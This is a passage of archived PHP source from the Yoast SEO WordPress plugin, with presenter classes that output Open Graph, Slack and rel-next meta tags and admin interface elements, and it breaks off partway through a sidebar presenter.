	protected $key = 'og:image';

	/**
	 * Image tags that we output for each image.
	 *
	 * @var array<string>
	 */
	protected static $image_tags = [
		'width'  => 'width',
		'height' => 'height',
		'type'   => 'type',
	];

	/**
	 * Returns the image for a post.
	 *
	 * @return string The image tag.
	 */
	public function present() {
		$images = $this->get();

		if ( empty( $images ) ) {
			return '';
		}

		$return = '';
		foreach ( $images as $image_meta ) {
			$image_url = $image_meta['url'];

			if ( \is_attachment() ) {
				global $wp;
				$image_url = \home_url( $wp->request );
			}

			$class = \is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : '';

			$return .= '<meta property="og:image" content="' . \esc_url( $image_url, null, 'attribute' ) . '"' . $class . ' />';

			foreach ( static::$image_tags as $key => $value ) {
				if ( empty( $image_meta[ $key ] ) ) {
					continue;
				}

				$return .= \PHP_EOL . "\t" . '<meta property="og:image:' . \esc_attr( $key ) . '" content="' . \esc_attr( $image_meta[ $key ] ) . '"' . $class . ' />';
			}
		}

		return $return;
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return array<string,int> The raw value.
	 */
	public function get() {
		$images = [];

		foreach ( $this->presentation->open_graph_images as $open_graph_image ) {
			$images[] = \array_intersect_key(
				// First filter the object.
				$this->filter( $open_graph_image ),
				// Then strip all keys that aren't in the image tags or the url.
				\array_flip( \array_merge( static::$image_tags, [ 'url' ] ) )
			);
		}

		return \array_filter( $images );
	}

	/**
	 * Run the image content through the `wpseo_opengraph_image` filter.
	 *
	 * @param array<string,int> $image The image.
	 *
	 * @return array<string,int> The filtered image.
	 */
	protected function filter( $image ) {
		/**
		 * Filter: 'wpseo_opengraph_image' - Allow changing the Open Graph image url.
		 *
		 * @param string                 $image_url    The URL of the Open Graph image.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$image_url = \apply_filters( 'wpseo_opengraph_image', $image['url'], $this->presentation );
		if ( ! empty( $image_url ) && \is_string( $image_url ) ) {
			$image['url'] = \trim( $image_url );
		}

		$image_type = ( $image['type'] ?? '' );
		/**
		 * Filter: 'wpseo_opengraph_image_type' - Allow changing the Open Graph image type.
		 *
		 * @param string                 $image_type   The type of the Open Graph image.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$image_type = \apply_filters( 'wpseo_opengraph_image_type', $image_type, $this->presentation );
		if ( ! empty( $image_type ) && \is_string( $image_type ) ) {
			$image['type'] = \trim( $image_type );
		}
		else {
			$image['type'] = '';
		}

		$image_width = ( $image['width'] ?? '' );
		/**
		 * Filter: 'wpseo_opengraph_image_width' - Allow changing the Open Graph image width.
		 *
		 * @param int                    $image_width  The width of the Open Graph image.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$image_width = (int) \apply_filters( 'wpseo_opengraph_image_width', $image_width, $this->presentation );
		if ( ! empty( $image_width ) && $image_width > 0 ) {
			$image['width'] = $image_width;
		}
		else {
			$image['width'] = '';
		}

		$image_height = ( $image['height'] ?? '' );
		/**
		 * Filter: 'wpseo_opengraph_image_height' - Allow changing the Open Graph image height.
		 *
		 * @param int                    $image_height The height of the Open Graph image.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$image_height = (int) \apply_filters( 'wpseo_opengraph_image_height', $image_height, $this->presentation );
		if ( ! empty( $image_height ) && $image_height > 0 ) {
			$image['height'] = $image_height;
		}
		else {
			$image['height'] = '';
		}

		return $image;
	}
}
wordpress-seo/src/presenters/open-graph/url-presenter.php000064400000002161147510273100017721 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph URL.
 */
class Url_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:url';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'attribute';

	/**
	 * Run the url content through the `wpseo_opengraph_url` filter.
	 *
	 * @return string The filtered url.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_opengraph_url' - Allow changing the Yoast SEO generated open graph URL.
		 *
		 * @param string                 $url          The open graph URL.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \urldecode( (string) \apply_filters( 'wpseo_opengraph_url', $this->presentation->open_graph_url, $this->presentation ) );
	}
}
wordpress-seo/src/presenters/open-graph/article-author-presenter.php000064400000002251147510273100022042 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph article author.
 */
class Article_Author_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'article:author';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the article author's Facebook URL through the `wpseo_opengraph_author_facebook` filter.
	 *
	 * @return string The filtered article author's Facebook URL.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_opengraph_author_facebook' - Allow developers to filter the article author's Facebook URL.
		 *
		 * @param bool|string            $article_author The article author's Facebook URL, return false to disable.
		 * @param Indexable_Presentation $presentation   The presentation of an indexable.
		 */
		return \trim( \apply_filters( 'wpseo_opengraph_author_facebook', $this->presentation->open_graph_article_author, $this->presentation ) );
	}
}
wordpress-seo/src/presenters/open-graph/article-publisher-presenter.php000064400000002270147510273100022536 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph article publisher.
 */
class Article_Publisher_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'article:publisher';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the article publisher's Facebook URL through the `wpseo_og_article_publisher` filter.
	 *
	 * @return string The filtered article publisher's Facebook URL.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_og_article_publisher' - Allow developers to filter the article publisher's Facebook URL.
		 *
		 * @param bool|string            $article_publisher The article publisher's Facebook URL, return false to disable.
		 * @param Indexable_Presentation $presentation      The presentation of an indexable.
		 */
		return \trim( \apply_filters( 'wpseo_og_article_publisher', $this->presentation->open_graph_article_publisher, $this->presentation ) );
	}
}
wordpress-seo/src/presenters/open-graph/article-modified-time-presenter.php000064400000001244147510273100023255 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph article modified time.
 */
class Article_Modified_Time_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'article:modified_time';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string The raw value.
	 */
	public function get() {
		return $this->presentation->open_graph_article_modified_time;
	}
}
wordpress-seo/src/presenters/open-graph/type-presenter.php000064400000001762147510273100020106 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph type.
 */
class Type_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:type';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the opengraph type content through the `wpseo_opengraph_type` filter.
	 *
	 * @return string The filtered type.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_opengraph_type' - Allow changing the opengraph type.
		 *
		 * @param string                 $type         The type.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \apply_filters( 'wpseo_opengraph_type', $this->presentation->open_graph_type, $this->presentation );
	}
}
wordpress-seo/src/presenters/open-graph/site-name-presenter.php000064400000002066147510273100021005 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph site name.
 */
class Site_Name_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:site_name';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Runs the site name through the `wpseo_opengraph_site_name` filter.
	 *
	 * @return string The filtered site_name.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_opengraph_site_name' - Allow changing the Yoast SEO generated Open Graph site name.
		 *
		 * @param string                 $site_name    The site_name.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \trim( \apply_filters( 'wpseo_opengraph_site_name', $this->presentation->open_graph_site_name, $this->presentation ) );
	}
}
wordpress-seo/src/presenters/open-graph/locale-presenter.php000064400000002007147510273100020355 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Final presenter class for the Open Graph locale.
 */
final class Locale_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:locale';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the locale through the `wpseo_og_locale` filter.
	 *
	 * @return string The filtered locale.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_og_locale' - Allow changing the Yoast SEO Open Graph locale.
		 *
		 * @param string                 $locale       The locale string
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \trim( \apply_filters( 'wpseo_og_locale', $this->presentation->open_graph_locale, $this->presentation ) );
	}
}
wordpress-seo/src/presenters/open-graph/description-presenter.php000064400000002472147510273100021447 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph description.
 */
class Description_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:description';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the Open Graph description through replace vars and the `wpseo_opengraph_desc` filter and sanitization.
	 *
	 * @return string The filtered description.
	 */
	public function get() {
		$meta_og_description = $this->replace_vars( $this->presentation->open_graph_description );

		/**
		 * Filter: 'wpseo_opengraph_desc' - Allow changing the Yoast SEO generated Open Graph description.
		 *
		 * @param string                 $description  The description.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$meta_og_description = \apply_filters( 'wpseo_opengraph_desc', $meta_og_description, $this->presentation );
		$meta_og_description = $this->helpers->string->strip_all_tags( \stripslashes( $meta_og_description ) );
		return \trim( $meta_og_description );
	}
}
wordpress-seo/src/presenters/open-graph/article-published-time-presenter.php000064400000001250147510273100023451 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph article published time.
 */
class Article_Published_Time_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'article:published_time';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string The raw value.
	 */
	public function get() {
		return $this->presentation->open_graph_article_published_time;
	}
}
wordpress-seo/src/presenters/open-graph/title-presenter.php000064400000002215147510273100020240 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph title.
 */
class Title_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:title';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the title content through replace vars, the `wpseo_opengraph_title` filter and sanitization.
	 *
	 * @return string The filtered title.
	 */
	public function get() {
		$title = $this->replace_vars( $this->presentation->open_graph_title );

		/**
		 * Filter: 'wpseo_opengraph_title' - Allow changing the Yoast SEO generated title.
		 *
		 * @param string                 $title        The title.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$title = (string) \trim( \apply_filters( 'wpseo_opengraph_title', $title, $this->presentation ) );
		return $this->helpers->string->strip_all_tags( $title );
	}
}
wordpress-seo/src/presenters/score-icon-presenter.php000064400000001660147510273100017123 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Presenter class for a score icon.
 */
class Score_Icon_Presenter extends Abstract_Presenter {

	/**
	 * Holds the title.
	 *
	 * @var string
	 */
	protected $title;

	/**
	 * Holds the CSS class.
	 *
	 * @var string
	 */
	protected $css_class;

	/**
	 * Constructs a Score_Icon_Presenter.
	 *
	 * @param string $title     The title and screen reader text.
	 * @param string $css_class The CSS class.
	 */
	public function __construct( $title, $css_class ) {
		$this->title     = $title;
		$this->css_class = $css_class;
	}

	/**
	 * Presents the score icon.
	 *
	 * @return string The score icon.
	 */
	public function present() {
		return \sprintf(
			'<div aria-hidden="true" title="%1$s" class="wpseo-score-icon %3$s"><span class="wpseo-score-text screen-reader-text">%2$s</span></div>',
			\esc_attr( $this->title ),
			\esc_html( $this->title ),
			\esc_attr( $this->css_class )
		);
	}
}
wordpress-seo/src/presenters/rel-next-presenter.php000064400000003203147510273100016613 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the rel next meta tag.
 */
class Rel_Next_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'next';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::LINK_REL_HREF;

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'url';

	/**
	 * Returns the rel next meta tag.
	 *
	 * @return string The rel next tag.
	 */
	public function present() {
		$output = parent::present();

		if ( ! empty( $output ) ) {
			/**
			 * Filter: 'wpseo_next_rel_link' - Allow changing link rel output by Yoast SEO.
			 *
			 * @param string $unsigned The full `<link` element.
			 */
			return \apply_filters( 'wpseo_next_rel_link', $output );
		}

		return '';
	}

	/**
	 * Run the canonical content through the `wpseo_adjacent_rel_url` filter.
	 *
	 * @return string The filtered adjacent link.
	 */
	public function get() {
		if ( \in_array( 'noindex', $this->presentation->robots, true ) ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_adjacent_rel_url' - Allow filtering of the rel next URL put out by Yoast SEO.
		 *
		 * @param string                 $rel_next     The rel next URL.
		 * @param string                 $rel          Link relationship, prev or next.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \trim( \apply_filters( 'wpseo_adjacent_rel_url', $this->presentation->rel_next, 'next', $this->presentation ) );
	}
}
wordpress-seo/src/presenters/slack/enhanced-data-presenter.php000064400000004216147510273100020633 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Slack;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;

/**
 * Presenter class for the Slack enhanced data.
 */
class Enhanced_Data_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'twitter:misc';

	/**
	 * Presents the enhanced data for Slack
	 *
	 * @return string The Twitter tags for Slack.
	 */
	public function present() {
		$enhanced_data = $this->get();
		$twitter_tags  = '';
		$i             = 1;
		$class         = \is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : '';
		foreach ( $enhanced_data as $label => $value ) {
			$twitter_tags .= \sprintf( "\t" . '<meta name="twitter:label%1$d" content="%2$s"' . $class . ' />' . "\n", $i, \esc_attr( $label ) );
			$twitter_tags .= \sprintf( "\t" . '<meta name="twitter:data%1$d" content="%2$s"' . $class . ' />' . "\n", $i, \esc_attr( $value ) );
			++$i;
		}

		return \trim( $twitter_tags );
	}

	/**
	 * Gets the enhanced data array.
	 *
	 * @return array The enhanced data array
	 */
	public function get() {
		$data                   = [];
		$author_id              = $this->presentation->source->post_author;
		$estimated_reading_time = $this->presentation->estimated_reading_time_minutes;

		if ( $this->presentation->model->object_sub_type === 'post' && $author_id ) {
			$data[ \__( 'Written by', 'wordpress-seo' ) ] = \get_the_author_meta( 'display_name', $author_id );
		}

		if ( ! empty( $estimated_reading_time ) ) {
			/* translators: %s expands to the reading time number, in minutes */
			$data[ \__( 'Est. reading time', 'wordpress-seo' ) ] = \sprintf( \_n( '%s minute', '%s minutes', $estimated_reading_time, 'default' ), $estimated_reading_time );
		}

		/**
		 * Filter: 'wpseo_enhanced_slack_data' - Allows filtering of the enhanced data for sharing on Slack.
		 *
		 * @param array                  $data         The enhanced Slack sharing data.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \apply_filters( 'wpseo_enhanced_slack_data', $data, $this->presentation );
	}
}
wordpress-seo/src/presenters/admin/help-link-presenter.php000064400000004121147510273100020030 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Represents the presenter class for Help link.
 */
class Help_Link_Presenter extends Abstract_Presenter {

	/**
	 * Help link.
	 *
	 * @var string
	 */
	private $link;

	/**
	 * Help link visually hidden text.
	 *
	 * @var string
	 */
	private $link_text;

	/**
	 * Whether the Help link opens in a new browser tab.
	 *
	 * @var bool
	 */
	private $opens_in_new_browser_tab;

	/**
	 * An instance of the WPSEO_Admin_Asset_Manager class.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Help_Link_Presenter constructor.
	 *
	 * @param string $link                     Help link.
	 * @param string $link_text                Help link visually hidden text.
	 * @param bool   $opens_in_new_browser_tab Whether the link opens in a new browser tab. Default true.
	 */
	public function __construct( $link = '', $link_text = '', $opens_in_new_browser_tab = true ) {
		$this->link                     = $link;
		$this->link_text                = $link_text;
		$this->opens_in_new_browser_tab = $opens_in_new_browser_tab;

		if ( ! $this->asset_manager ) {
			$this->asset_manager = new WPSEO_Admin_Asset_Manager();
		}

		$this->asset_manager->enqueue_style( 'admin-global' );
	}

	/**
	 * Presents the Help link.
	 *
	 * @return string The styled Help link.
	 */
	public function present() {
		if ( $this->link === '' || $this->link_text === '' ) {
			return;
		}

		$target_blank_attribute = '';
		$new_tab_message        = '';

		if ( $this->opens_in_new_browser_tab ) {
			$target_blank_attribute = ' target="_blank"';
			/* translators: Hidden accessibility text. */
			$new_tab_message = ' ' . \__( '(Opens in a new browser tab)', 'wordpress-seo' );
		}

		return \sprintf(
			'<a href="%1$s"%2$s class="yoast_help yoast-help-link dashicons"><span class="yoast-help-icon" aria-hidden="true"></span><span class="screen-reader-text">%3$s</span></a>',
			\esc_url( $this->link ),
			$target_blank_attribute,
			\esc_html( $this->link_text . $new_tab_message )
		);
	}
}
wordpress-seo/src/presenters/admin/indexing-failed-notification-presenter.php000064400000005764147510273100023676 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Indexing_Failed_Notification_Presenter.
 *
 * @package Yoast\WP\SEO\Presenters\Notifications
 */
class Indexing_Failed_Notification_Presenter extends Abstract_Presenter {

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $class_addon_manager;

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * Indexing_Failed_Notification_Presenter constructor.
	 *
	 * @param Product_Helper      $product_helper      The product helper.
	 * @param Short_Link_Helper   $short_link_helper   The addon manager.
	 * @param WPSEO_Addon_Manager $class_addon_manager The addon manager.
	 */
	public function __construct( $product_helper, $short_link_helper, $class_addon_manager ) {
		$this->class_addon_manager = $class_addon_manager;
		$this->short_link_helper   = $short_link_helper;
		$this->product_helper      = $product_helper;
	}

	/**
	 * Returns the notification as an HTML string.
	 *
	 * @return string The notification in an HTML string representation.
	 */
	public function present() {
		$notification_text = \sprintf(
			/* Translators: %1$s expands to an opening anchor tag for a link leading to the Yoast SEO tools page, %2$s expands to a closing anchor tag. */
			\esc_html__(
				'Something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please %1$sre-start the process%2$s.',
				'wordpress-seo'
			),
			'<a href="' . \get_admin_url( null, 'admin.php?page=wpseo_tools' ) . '">',
			'</a>'
		);

		if ( $this->product_helper->is_premium() ) {
			if ( $this->has_valid_premium_subscription() ) {
				// Add a support message for premium customers.
				$notification_text .= ' ';
				$notification_text .= \esc_html__( 'If the problem persists, please contact support.', 'wordpress-seo' );
			}
			else {
				// Premium plugin with inactive addon; overwrite the entire error message.
				$notification_text = \sprintf(
					/* Translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */
					\esc_html__(
						'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please make sure to activate your subscription in MyYoast by completing %1$sthese steps%2$s.',
						'wordpress-seo'
					),
					'<a href="' . \esc_url( $this->short_link_helper->get( 'https://yoa.st/3wv' ) ) . '">',
					'</a>'
				);
			}
		}

		return '<p>' . $notification_text . '</p>';
	}

	/**
	 * Determines if the site has a valid Premium subscription.
	 *
	 * @return bool
	 */
	protected function has_valid_premium_subscription() {
		return $this->class_addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
	}
}
wordpress-seo/src/presenters/admin/woocommerce-beta-editor-presenter.php000064400000003360147510273100022665 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Woocommerce_Beta_Editor_Presenter.
 */
class Woocommerce_Beta_Editor_Presenter extends Abstract_Presenter {

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * Woocommerce_Beta_Editor_Presenter constructor.
	 *
	 * @param Short_Link_Helper $short_link_helper The short link helper.
	 */
	public function __construct( Short_Link_Helper $short_link_helper ) {
		$this->short_link_helper = $short_link_helper;
	}

	/**
	 * Returns the notification as an HTML string.
	 *
	 * @return string The notification in an HTML string representation.
	 */
	public function present() {
		$notification_text  = '<p>';
		$notification_text .= $this->get_message();
		$notification_text .= '</p>';

		return $notification_text;
	}

	/**
	 * Returns the message to show.
	 *
	 * @return string The message.
	 */
	protected function get_message() {
		return \sprintf(
			'<strong>%1$s</strong> %2$s',
			\esc_html__( 'Compatibility issue: Yoast SEO is incompatible with the beta WooCommerce product editor.', 'wordpress-seo' ),
			\sprintf(
				/* translators: 1: Yoast SEO, 2: Link start tag to the Learn more link, 3: Link closing tag. */
				\esc_html__( 'The %1$s interface is currently unavailable in the beta WooCommerce product editor. To resolve any issues, please disable the beta editor. %2$sLearn how to disable the beta WooCommerce product editor.%3$s', 'wordpress-seo' ),
				'Yoast SEO',
				'<a href="' . \esc_url( $this->short_link_helper->get( 'https://yoa.st/learn-how-disable-beta-woocommerce-product-editor' ) ) . '" target="_blank">',
				'</a>'
			)
		);
	}
}
wordpress-seo/src/presenters/admin/light-switch-presenter.php000064400000010764147510273100020565 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Light_Switch_Presenter.
 *
 * @package Yoast\WP\SEO\Presenters\Admin
 */
class Light_Switch_Presenter extends Abstract_Presenter {

	/**
	 * The variable to create the checkbox for.
	 *
	 * @var string
	 */
	protected $var;

	/**
	 * The visual label text for the toggle.
	 *
	 * @var string
	 */
	protected $label;

	/**
	 * Array of two visual labels for the buttons.
	 *
	 * @var array
	 */
	protected $buttons;

	/**
	 * The name of the underlying checkbox.
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * The variable current value.
	 *
	 * @var string|bool
	 */
	protected $value;

	/**
	 * Reverse order of buttons.
	 *
	 * @var bool
	 */
	protected $reverse;

	/**
	 * The inline Help HTML.
	 *
	 * @var string
	 */
	protected $help;

	/**
	 * Whether the visual label is displayed in strong text.
	 *
	 * @var bool
	 */
	protected $strong;

	/**
	 * The disabled attribute HTML.
	 *
	 * @var string
	 */
	protected $disabled_attribute;

	/**
	 * Light_Switch_Presenter constructor.
	 *
	 * @param string      $variable           The variable to create the checkbox for.
	 * @param string      $label              The visual label text for the toggle.
	 * @param array       $buttons            Array of two visual labels for the buttons (defaults Disabled/Enabled).
	 * @param string      $name               The name of the underlying checkbox.
	 * @param string|bool $value              The variable current value, to determine the checked attribute.
	 * @param bool        $reverse            Optional. Reverse order of buttons (default true).
	 * @param string      $help               Optional. Inline Help HTML that will be printed out before the toggle. Default is empty.
	 * @param bool        $strong             Optional. Whether the visual label is displayed in strong text. Default is false.
	 *                                        Starting from Yoast SEO 16.5, the visual label is forced to bold via CSS.
	 * @param string      $disabled_attribute Optional. The disabled HTML attribute. Default is empty.
	 */
	public function __construct(
		$variable,
		$label,
		$buttons,
		$name,
		$value,
		$reverse = true,
		$help = '',
		$strong = false,
		$disabled_attribute = ''
	) {
		$this->var                = $variable;
		$this->label              = $label;
		$this->buttons            = $buttons;
		$this->name               = $name;
		$this->value              = $value;
		$this->reverse            = $reverse;
		$this->help               = $help;
		$this->strong             = $strong;
		$this->disabled_attribute = $disabled_attribute;
	}

	/**
	 * Presents the light switch toggle.
	 *
	 * @return string The light switch's HTML.
	 */
	public function present() {
		if ( empty( $this->buttons ) ) {
			$this->buttons = [ \__( 'Disabled', 'wordpress-seo' ), \__( 'Enabled', 'wordpress-seo' ) ];
		}

		list( $off_button, $on_button ) = $this->buttons;

		$class = 'switch-light switch-candy switch-yoast-seo';

		if ( $this->reverse ) {
			$class .= ' switch-yoast-seo-reverse';
		}

		$help_class   = ! empty( $this->help ) ? ' switch-container__has-help' : '';
		$strong_class = ( $this->strong ) ? ' switch-light-visual-label__strong' : '';

		$output  = '<div class="switch-container' . $help_class . '">';
		$output .= \sprintf(
			'<span class="switch-light-visual-label%1$s" id="%2$s">%3$s</span>%4$s',
			$strong_class, // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $strong_class output is hardcoded.
			\esc_attr( $this->var . '-label' ),
			\esc_html( $this->label ),
			$this->help // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: The help contains HTML.
		);
		$output .= '<label class="' . $class . '"><b class="switch-yoast-seo-jaws-a11y">&nbsp;</b>';
		$output .= \sprintf(
			'<input type="checkbox" aria-labelledby="%1$s" id="%2$s" name="%3$s" value="on"%4$s%5$s/>',
			\esc_attr( $this->var . '-label' ),
			\esc_attr( $this->var ),
			\esc_attr( $this->name ),
			\checked( $this->value, 'on', false ), // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: The output is hardcoded by WordPress.
			$this->disabled_attribute // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded.
		);
		$output .= '<span aria-hidden="true">';
		$output .= '<span>' . \esc_html( $off_button ) . '</span>';
		$output .= '<span>' . \esc_html( $on_button ) . '</span>';
		$output .= '<a></a>';
		$output .= '</span></label><div class="clear"></div></div>';

		return $output;
	}
}
wordpress-seo/src/presenters/admin/sidebar-presenter.php000064400000015047147510273100017567 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WPSEO_Shortlinker;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Presenter class for the Yoast SEO sidebar.
 */
class Sidebar_Presenter extends Abstract_Presenter {

	/**
	 * Presents the sidebar.
	 *
	 * @return string The sidebar HTML.
	 */
	public function present() {
		$title = \__( '30% OFF - BLACK FRIDAY', 'wordpress-seo' );

		$assets_uri              = \trailingslashit( \plugin_dir_url( \WPSEO_FILE ) );
		$buy_yoast_seo_shortlink = WPSEO_Shortlinker::get( 'https://yoa.st/jj' );
		\ob_start();
		?>
			<div class="wpseo_content_cell" id="sidebar-container">
				<div id="sidebar" class="yoast-sidebar">
					<div class="wpseo_content_cell_title yoast-sidebar__title">
						<?php
